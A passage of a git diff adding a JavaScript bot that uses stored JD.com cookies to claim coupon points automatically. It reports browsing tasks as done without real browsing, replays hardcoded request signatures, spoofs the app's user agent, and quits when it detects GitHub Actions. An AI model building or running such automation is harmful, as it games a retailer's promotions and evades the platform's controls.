t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
diff --git a/Task/jd_necklace.js b/Task/jd_necklace.js
new file mode 100644
index 0000000..1f69c5f
--- /dev/null
+++ b/Task/jd_necklace.js
@@ -0,0 +1,517 @@
+/*
+点点券,可以兑换无门槛红包(1元,5元,10元,100元,部分红包需抢购)
+Last Modified time: 2021-05-28 17:27:14
+活动入口:京东APP-领券中心/券后9.9-领点点券 [活动地址](https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html)
+脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js
+===============Quantumultx===============
+[task_local]
+#点点券
+10 0,20 * * * jd_necklace.js, tag=点点券, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true
+
+================Loon==============
+[Script]
+cron "10 0,20 * * *" script-path=jd_necklace.js,tag=点点券
+
+===============Surge=================
+点点券 = type=cron,cronexp="10 0,20 * * *",wake-system=1,timeout=3600,script-path=jd_necklace.js
+
+============小火箭=========
+点点券 = type=cron,script-path=jd_necklace.js, cronexpr="10 0,20 * * *", timeout=3600, enable=true
+ */
+const $ = new Env('点点券');
+let allMessage = ``;
+const notify = $.isNode() ? require('./sendNotify') : '';
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+const openUrl = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html%22%20%7D`
+let message = '';
+let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000);
+//IOS等用户直接用NobyDa的jd cookie
+let cookiesArr = [], cookie = '';
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
+} else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+}
+
+const JD_API_HOST = 'https://api.m.jd.com/api';
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ return;
+ }
+ console.log(`\n通知:京东已在领取任务、签到、领取点点券三个添加了log做了校验,暂时无可解决\n`);
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ $.index = i + 1;
+ $.isLogin = true;
+ $.nickName = '';
+ message = '';
+ await TotalBean();
+ console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ }
+ continue
+ }
+ await jd_necklace();
+ }
+ }
+ if ($.isNode() && allMessage) {
+ await notify.sendNotify(`${$.name}`, `${allMessage}`, { url: openUrl })
+ }
+})()
+ .catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+ })
+ .finally(() => {
+ $.done();
+ })
+async function jd_necklace() {
+ try {
+ await necklace_homePage();
+ await doTask();
+ await sign();
+ await necklace_homePage();
+ await receiveBubbles();
+ await necklace_homePage();
+ // await necklace_exchangeGift($.totalScore);//自动兑换多少钱的无门槛红包,1000代表1元,默认兑换全部点点券
+ await showMsg();
+ } catch (e) {
+ $.logErr(e)
+ }
+}
+function showMsg() {
+ return new Promise(async resolve => {
+ if (nowTimes.getHours() >= 20) {
+ $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n点击弹窗即可去兑换(注:此红包具有时效性)`, { 'open-url': openUrl});
+ }
+ // 云端大于10元无门槛红包时进行通知推送
+ // if ($.isNode() && $.totalScore >= 20000 && nowTimes.getHours() >= 20) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `京东账号${$.index} ${$.nickName}\n当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n点击链接即可去兑换(注:此红包具有时效性)\n↓↓↓ \n\n ${openUrl} \n\n ↑↑↑`, { url: openUrl })
+ if ($.isNode() && nowTimes.getHours() >= 20 && (process.env.DDQ_NOTIFY_CONTROL ? process.env.DDQ_NOTIFY_CONTROL === 'false' : !!1)) {
+ allMessage += `京东账号${$.index} ${$.nickName}\n当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n(京东APP->领券->左上角点点券.注:此红包具有时效性)${$.index !== cookiesArr.length ? '\n\n' : `\n↓↓↓ \n\n "https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html" \n\n ↑↑↑`}`
+ }
+ resolve()
+ })
+}
+async function doTask() {
+ for (let item of $.taskConfigVos) {
+ if (item.taskStage === 0) {
+ console.log(`【${item.taskName}】 任务未领取,开始领取此任务`);
+ await necklace_startTask(item.id);
+ console.log(`【${item.taskName}】 任务领取成功,开始完成此任务`);
+ await $.wait(1000);
+ await reportTask(item);
+ } else if (item.taskStage === 2) {
+ console.log(`【${item.taskName}】 任务已做完,奖励未领取`);
+ } else if (item.taskStage === 3) {
+ console.log(`${item.taskName}奖励已领取`);
+ } else if (item.taskStage === 1) {
+ console.log(`\n【${item.taskName}】 任务已领取但未完成,开始完成此任务`);
+ await reportTask(item);
+ }
+ }
+}
+async function receiveBubbles() {
+ for (let item of $.bubbles) {
+ console.log(`\n开始领取点点券`);
+ await necklace_chargeScores(item.id)
+ }
+}
+async function sign() {
+ if ($.signInfo.todayCurrentSceneSignStatus === 1) {
+ console.log(`\n开始每日签到`)
+ await necklace_sign();
+ } else {
+ console.log(`当前${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString()}已签到`)
+ }
+}
+async function reportTask(item = {}) {
+ //普通任务
+ if (item['taskType'] === 2) await necklace_startTask(item.id, 'necklace_reportTask');
+ //逛很多商品店铺等等任务
+ if (item['taskType'] === 6 || item['taskType'] === 8 || item['taskType'] === 5 || item['taskType'] === 9) {
+ //浏览精选活动任务
+ await necklace_getTask(item.id);
+ $.taskItems = $.taskItems.filter(value => !!value && value['status'] === 0);
+ for (let vo of $.taskItems) {
+ console.log(`浏览精选活动 【${vo['title']}】`);
+ await necklace_startTask(item.id, 'necklace_reportTask', vo['id']);
+ }
+ }
+ //首页浏览XX秒的任务
+ if (item['taskType'] === 3) await doAppTask('3', item.id);
+ if (item['taskType'] === 4) await doAppTask('4', item.id);
+}
+//每日签到福利
+function necklace_sign() {
+ return new Promise(resolve => {
+ const body = {
+ currentDate: $.lastRequestTime.replace(/:/g, "%3A"),
+ }
+ $.post(taskPostUrl("necklace_sign", body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.rtn_code === 0) {
+ if (data.data.biz_code === 0) {
+ console.log(`签到成功,时间:${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString()}`)
+ // $.taskConfigVos = data.data.result.taskConfigVos;
+ // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs;
+ }
+ } else {
+ console.log(`每日签到失败:${JSON.stringify(data)}\n`);
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//兑换无门槛红包
+function necklace_exchangeGift(scoreNums) {
+ return new Promise(resolve => {
+ const body = {
+ scoreNums,
+ "giftConfigId": 31,
+ currentDate: $.lastRequestTime.replace(/:/g, "%3A"),
+ }
+ $.post(taskPostUrl("necklace_exchangeGift", body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.rtn_code === 0) {
+ if (data.data.biz_code === 0) {
+ const { result } = data.data;
+ message += `${result.redpacketTitle}:${result.redpacketAmount}元兑换成功\n`;
+ message += `红包有效期:${new Date(result.endTime + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString('zh', {hour12: false})}`;
+ console.log(message)
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//领取奖励
+function necklace_chargeScores(bubleId) {
+ return new Promise(resolve => {
+ const body = {
+ bubleId,
+ currentDate: $.lastRequestTime.replace(/:/g, "%3A"),
+ }
+ $.post(taskPostUrl("necklace_chargeScores", body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.rtn_code === 0) {
+ if (data.data.biz_code === 0) {
+ // $.taskConfigVos = data.data.result.taskConfigVos;
+ // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs;
+ }
+ } else {
+ console.log(`领取点点券失败:${JSON.stringify(data)}\n`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function necklace_startTask(taskId, functionId = 'necklace_startTask', itemId = "") {
+ return new Promise(resolve => {
+ let body = {
+ taskId,
+ currentDate: $.lastRequestTime.replace(/:/g, "%3A"),
+ }
+ if (itemId) body['itemId'] = itemId;
+ $.post(taskPostUrl(functionId, body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ console.log(`${functionId === 'necklace_startTask' ? '领取任务结果' : '做任务结果'}:${data}`);
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.rtn_code === 0) {
+ if (data.data.biz_code === 0) {
+ // $.taskConfigVos = data.data.result.taskConfigVos;
+ // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs;
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function necklace_getTask(taskId) {
+ return new Promise(resolve => {
+ const body = {
+ taskId,
+ currentDate: $.lastRequestTime.replace(/:/g, "%3A"),
+ }
+ $.taskItems = [];
+ $.post(taskPostUrl("necklace_getTask", body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.rtn_code === 0) {
+ if (data.data.biz_code === 0) {
+ $.taskItems = data.data.result && data.data.result.taskItems;
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+function necklace_homePage() {
+ $.taskConfigVos = [];
+ $.bubbles = [];
+ $.signInfo = {};
+ return new Promise(resolve => {
+ $.post(taskPostUrl('necklace_homePage'), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.rtn_code === 0) {
+ if (data.data.biz_code === 0) {
+ $.taskConfigVos = data.data.result.taskConfigVos;
+ $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs;
+ $.lastRequestTime = data.data.result.lastRequestTime;
+ $.bubbles = data.data.result.bubbles;
+ $.signInfo = data.data.result.signInfo;
+ $.totalScore = data.data.result.totalScore;
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+async function doAppTask(type = '3', id) {
+ let body = {
+ "pageClickKey": "CouponCenter",
+ "childActivityUrl": "openapp.jdmobile%3a%2f%2fvirtual%3fparams%3d%7b%5c%22category%5c%22%3a%5c%22jump%5c%22%2c%5c%22des%5c%22%3a%5c%22couponCenter%5c%22%7d",
+ "lat": "",
+ "globalLat": "",
+ "lng": "",
+ "globalLng": ""
+ }
+ await getCcTaskList('getCcTaskList', body, type);
+ body = {
+ "globalLng": "",
+ "globalLat": "",
+ "monitorSource": "ccgroup_ios_index_task",
+ "monitorRefer": "",
+ "taskType": "2",
+ "childActivityUrl": "openapp.jdmobile%3a%2f%2fvirtual%3fparams%3d%7b%5c%22category%5c%22%3a%5c%22jump%5c%22%2c%5c%22des%5c%22%3a%5c%22couponCenter%5c%22%7d",
+ "pageClickKey": "CouponCenter",
+ "lat": "",
+ "taskId": "necklace_" + id,
+ "lng": "",
+ }
+ if (type === '4') {
+ console.log('需等待30秒')
+ await $.wait(15000);
+ } else {
+ console.log('需等待15秒')
+ }
+ await $.wait(15500);
+ await getCcTaskList('reportCcTask', body, type);
+}
+function getCcTaskList(functionId, body, type = '3') {
+ let url = '';
+ return new Promise(resolve => {
+ if (functionId === 'getCcTaskList') {
+ url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1614320848090&sign=d3259c0c19f6c792883485ae65f8991c&sv=111`
+ }
+ if (type === '3' && functionId === 'reportCcTask') url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622194121039&sign=d565c4594b8e05645f1fe9a495ac7a7d&sv=122`
+ if (type === '4' && functionId === 'reportCcTask') url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622193986049&sign=f5abd9fd7b9b8abaa25b34088f9e8a54&sv=102`
+ // if (functionId === 'reportCcTask') {
+ // url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1614320901023&sign=26e637ba072ddbcfa44c5273ef928696&sv=111`
+ // }
+ const options = {
+ url,
+ body: `body=${escape(JSON.stringify(body))}`,
+ headers: {
+ "Accept": "application/json, text/plain, */*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Content-Length": "63",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Host": "api.m.jd.com",
+ "Origin": "https://h5.m.jd.com",
+ "Cookie": cookie,
+ "Referer": "https://h5.m.jd.com/babelDiy/Zeus/4ZK4ZpvoSreRB92RRo8bpJAQNoTq/index.html",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ }
+ }
+ $.post((options), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ if (type === '3' && functionId === 'reportCcTask') console.log(`点击首页领券图标(进入领券中心浏览15s)任务:${data}`)
+ if (type === '4' && functionId === 'reportCcTask') console.log(`点击“券后9.9”任务:${data}`)
+ // data = JSON.parse(data);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function taskPostUrl(function_id, body = {}) {
+ const time = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000;
+ return {
+ url: `${JD_API_HOST}?functionId=${function_id}&appid=coupon-necklace&loginType=2&client=coupon-necklace&t=${time}&body=${escape(JSON.stringify(body))}&uuid=88732f840b77821b345bf07fd71f609e6ff12f43`,
+ // url: `${JD_API_HOST}?functionId=${function_id}&appid=jd_mp_h5&loginType=2&client=jd_mp_h5&t=${time}&body=${escape(JSON.stringify(body))}`,
+ headers: {
+ "accept": "*/*",
+ "accept-encoding": "gzip, deflate, br",
+ "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
+ "content-length": "0",
+ "cookie": cookie,
+ "origin": "https://h5.m.jd.com",
+ "referer": "https://h5.m.jd.com/",
+ "sec-fetch-dest": "empty",
+ "sec-fetch-mode": "cors",
+ "sec-fetch-site": "same-site",
+ "user-agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+}
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+ "headers": {
+ "Accept": "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Cookie": cookie,
+ "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === 13) {
+ $.isLogin = false; //cookie过期
+ return
+ }
+ if (data['retcode'] === 0) {
+ $.nickName = (data['base'] && data['base'].nickname) || $.UserName;
+ } else {
+ $.nickName = $.UserName
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function safeGet(data) {
+ try {
+ if (typeof JSON.parse(data) == "object") {
+ return true;
+ }
+ } catch (e) {
+ console.log(e);
+ console.log(`京东服务器访问数据为空,请检查自身设备网络情况`);
+ return false;
+ }
+}
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie')
+ return [];
+ }
+ }
+}
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return 